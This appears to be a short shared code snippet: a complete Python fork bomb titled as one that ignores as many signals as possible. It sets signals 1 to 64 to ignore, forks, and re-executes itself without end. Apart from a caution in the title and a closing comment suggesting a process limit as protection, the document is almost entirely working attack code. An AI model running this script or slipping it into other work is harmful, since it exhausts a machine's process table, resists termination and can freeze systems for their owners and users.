A fork bomb which ignores as many signals as possible (execute it only when you thoroughly know what it does)

fork_ign_signal.py

#!/usr/bin/python3
import os, sys, signal

# print(os.getpid())

for i in range(1, 65) :
	try :
		signal.signal(i, signal.SIG_IGN)
	except Exception :
		pass

while True :
	try :
		os.fork()
		break
	except Exception :
		pass

while True :
	try :
		os.execv(sys.argv[0], sys.argv)
		break
	except Exception :
		pass

# To protect your OS: ulimit -u 10